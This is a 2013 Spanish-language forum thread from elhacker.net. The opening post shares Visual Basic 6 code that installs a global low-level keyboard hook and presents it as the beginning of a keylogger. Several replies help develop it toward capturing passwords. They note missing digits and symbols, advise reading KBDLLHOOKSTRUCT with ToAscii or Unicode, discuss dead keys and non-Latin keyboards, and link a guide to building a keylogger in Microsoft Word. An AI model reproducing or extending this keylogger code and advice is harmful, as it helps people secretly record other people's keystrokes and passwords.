Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: Flamer en 31 Mayo 2013, 04:48 AM

Título: Prinsipio de un KeyloggerHook
Publicado por: Flamer en 31 Mayo 2013, 04:48 AM
hola amigos aqui les traigo un aporte para los que no saben como hacer un keylogger hook aqui les doy una idea de como pueden empesarlo

Code Form

Private Sub Form_Load()
If App.PrevInstance Then: End
TecladoHook
End Sub



Code Modulo

Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Private Const WH_KEYBOARD_LL As Long = 13

Private Hook As Long
Public Function TecladoHook()
Hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf TeclaPresionadas, App.hInstance, 0)
End Function
Public Function TeclaPresionadas(ByVal wParam As Long, lParam As Long) As Long

Dim zx As Integer

For zx = 65 To 90
   If GetAsyncKeyState(zx) Then
      MsgBox Chr(zx)
      Exit For
   End If
Next zx
End Function


ahora si a compilarlo y ejecutarlo

Nota 1: aclaro el code es mio no lo copie de otra parte como otros por hay
Nota 2: esto es solo una probadita de como hacer un hook al teclado ustedes pongan lo demas

Saludos Flamer y espero les sirva

Título: Re: Prinsipio de un KeyloggerHook
Publicado por: x64core en 31 Mayo 2013, 08:35 AM
Siempre Desenganchar el Hook con la api correspondiente.

Y por cierto, en que momento no hay un handle a la base del proceso?
If App.PrevInstance Then: End
Yo lo dudo.
Título: Re: Prinsipio de un KeyloggerHook
Publicado por: Karcrack en 31 Mayo 2013, 15:59 PM
Cita de: x64Core en 31 Mayo 2013, 08:35 AM
Y por cierto, en que momento no hay un handle a la base del proceso?
If App.PrevInstance Then: End
Yo lo dudo.
No confundas PrevInstance con hInstance.
Título: Re: Prinsipio de un KeyloggerHook
Publicado por: tincopasan en 31 Mayo 2013, 19:04 PM
En un principio está bien, pero está muy alto el rango de teclas! no podrás capturar números! y si pretenden capturar pass ¿quién no usa números?
Título: Re: Prinsipio de un KeyloggerHook
Publicado por: MCKSys Argentina en 31 Mayo 2013, 19:53 PM
Cita de: tincopasan en 31 Mayo 2013, 19:04 PM
En un principio está bien, pero está muy alto el rango de teclas! no podrás capturar números! y si pretenden capturar pass ¿quién no usa números?

Y símbolos "raros"...  ;D
Título: Re: Prinsipio de un KeyloggerHook
Publicado por: LeandroA en 31 Mayo 2013, 21:21 PM
Hola, ya que esta el tema les comparto este keylooger echo en Microsoft Word, es muy completo en su forma de capturar

http://www.taringa.net/posts/hazlo-tu-mismo/15626505/Como-hacer-un-keyLogger-en-Microsoft-Word.html

Saludos.
Título: Re: Prinsipio de un KeyloggerHook
Publicado por: MCKSys Argentina en 31 Mayo 2013, 21:42 PM
Me ha gustado mucho ese keylogger!!!

Gracias por compartir!
Título: Re: Prinsipio de un KeyloggerHook
Publicado por: Flamer en 31 Mayo 2013, 22:03 PM
Cita de: tincopasan en 31 Mayo 2013, 19:04 PM
En un principio está bien, pero está muy alto el rango de teclas! no podrás capturar números! y si pretenden capturar pass ¿quién no usa números?

Cita de: MCKSys Argentina en 31 Mayo 2013, 19:53 PM
Y símbolos "raros"...  ;D
Es solo para explicar como enganchar el teclado, es solo el PRINCIPIO DEL KEYLOGGER HOOK.

no pienso poner todo el keylogger completo para que un lamber venga y lo copie todo y sin hacer nada no señor.

saludos flamer y nose si me entiendan

Notas: es solo el prinsipio y para que sepan como enganchar el teclado, para no usar timer
Título: Re: Prinsipio de un KeyloggerHook
Publicado por: x64core en 31 Mayo 2013, 22:41 PM
Cita de: Karcrack en 31 Mayo 2013, 15:59 PM
No confundas PrevInstance con hInstance.

Buena vision Karcrack, Yo simplemente mire e imagine, Aparte que tengo años de no programar en VB.

Para numeros esto asi de simple, el problema es que el bucle compara y procesa solo si es un alfabetica,
En teclados rusos, chinos, Arabes, debes de usar Funciones unicode para poder captar correctamente.

Y recomiendo no usar GetKeynametext debido a que esta función tomara el nombre de una lista generada por el driver
del teclado por lo que si el keylogger esta en un sistema con un teclado ruso nombres de teclas seran mostradas
en ruso, etc.
Para simbolos como @[]+°-~|'}{¬ usar las flags de la estructura  KBDLLHOOKSTRUCT
( la cual no veo porque este tio uso GetAsyncKeyState, esta estructura tiene la información de la pulsación ) y trasladarla usando ToAscii/unicode.
Lo más complicado es capturar las teclas muertas Y recordar que cada hilo tiene su propio estado de teclas ( mirar ultimo parametro de SetWindowsHookEx y leer ).
He analizado monton de malware mier* que es llamado profesional y ni siquiera saben como programarlos para soporte unicode.